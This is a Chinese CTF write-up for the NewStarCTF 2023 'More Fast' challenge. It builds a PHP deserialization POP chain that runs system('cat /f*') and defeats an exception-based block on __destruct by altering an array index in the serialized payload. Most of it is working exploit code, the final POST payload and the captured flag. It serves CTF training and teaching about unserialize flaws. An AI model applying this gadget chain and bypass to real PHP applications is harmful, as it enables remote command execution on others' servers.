当前位置: 首页 > news >正文

NewStarCTF2023week4-More Fast(GC回收)

打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,

关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:

http://t.csdnimg.cn/wMYNB

如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:

http://t.csdnimg.cn/xhqzq

http://t.csdnimg.cn/jzQjt

http://t.csdnimg.cn/IHpEq

由于这道题还出现了

throw new Exception("Nope");

这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

首先我们需要知道:

在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

(1)对象被unset()处理时,可以触发。

(2)数组对象为NULL时,可以触发。

我们先正常构造pop链:

关于pop链的构造和标注真的看我之前那篇博客肯定能懂

<?phpclass Start{public $errMsg;  // 5 Cryptopublic function __destruct() {die($this->errMsg);  }
}class Pwn{public $obj;   // 2 Webpublic function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;  // 3 Pwnpublic function __get($var) {($this->func)();}
}class Web{ public $func; // 1 systempublic $var;  // 1 cat /f*public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;  // 4 Reversepublic function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{  public function evil() {echo "good job but nothing";}
}$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;
echo serialize($s);?>

我们使用第二中方法(数组对象为NULL)绕过GC回收:

<?phpclass Start{public $errMsg;  // 5 Cryptopublic function __destruct() {die($this->errMsg);  }
}class Pwn{public $obj;   // 2 Webpublic function __invoke(){$this->obj->evil();}public function evil() {phpinfo();}
}class Reverse{public $func;  // 3 Pwnpublic function __get($var) {($this->func)();}
}class Web{ public $func; // 1 systempublic $var;  // 1 cat /f*public function evil() {if(!preg_match("/flag/i",$this->var)){($this->func)($this->var);}else{echo "Not Flag";}}
}class Crypto{public $obj;  // 4 Reversepublic function __toString() {$wel = $this->obj->good;return "NewStar";}
}class Misc{  public function evil() {echo "good job but nothing";}
}$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;$b=array($s,0);
echo serialize($b); ?>

运行得到:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;} 

我们将最后的 i:1 替换为 i:0

即:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

构造payload:

post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

拿到flag

flag{558eb633-8715-4922-8201-f8402343b140} 

当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。

只是说一般 flag 都在根目录下,所以我直接 cat /f*。

http://www.lryc.cn/news/205557.html

相关文章:

  • 和鲸赞助丨第16届中国R会议暨2023 X-AGI大会通知
  • Python第三方库 - Flask(python web框架)
  • c# sqlite 修改字段类型
  • [Pytorch] 保存模型与加载模型
  • AES解密报错,Input length must be multiple of 16 when decrypting with padded cipher
  • 电子学会C/C++编程等级考试2023年05月(三级)真题解析
  • 【2023_10_21_计算机热点知识分享】:机器学习中的神经网络
  • app开发者提升第四季度广告收入的方法
  • #电子电器架构 —— 车载网关初入门
  • 系统工程利用计算机作为工具
  • MathType7.4绿色和谐版数学公式编辑器
  • JAVA代码审计-纵向越权漏洞分析
  • 【PG】PostgreSQL逻辑备份(pg_dump)
  • JVM、JRE、JDK
  • Latex 插入矢量图
  • git:删除上一次 commit 中的某个文件,并重新提交
  • proxy解决跨域问题
  • Ubuntu源码编译samba
  • conda虚拟环境配置
  • 如何制作自己的数字人
  • JAVA毕业设计103—基于Java+Springboot+vue的药店管理系统(源码+数据库)
  • LeetCode66——加一
  • CV计算机视觉每日开源代码Paper with code速览-2023.10.23
  • C语言 sizeof 函数内部进行计算
  • 导致爬虫无法使用的原因有哪些?
  • paddlepaddle使用实践过程中的问题记录
  • MySQL数据库 #3
  • XQ350441.0、XQ350641.0、XQ350441.1、XQ350641.1、XQ350441.2、XQ350641.2三位五通电磁气动阀
  • 降本增效神器?Share Creators 智能数字资产管理系统真香!
  • 2023年中国汽车差速器需求量、竞争现状及行业市场规模分析[图]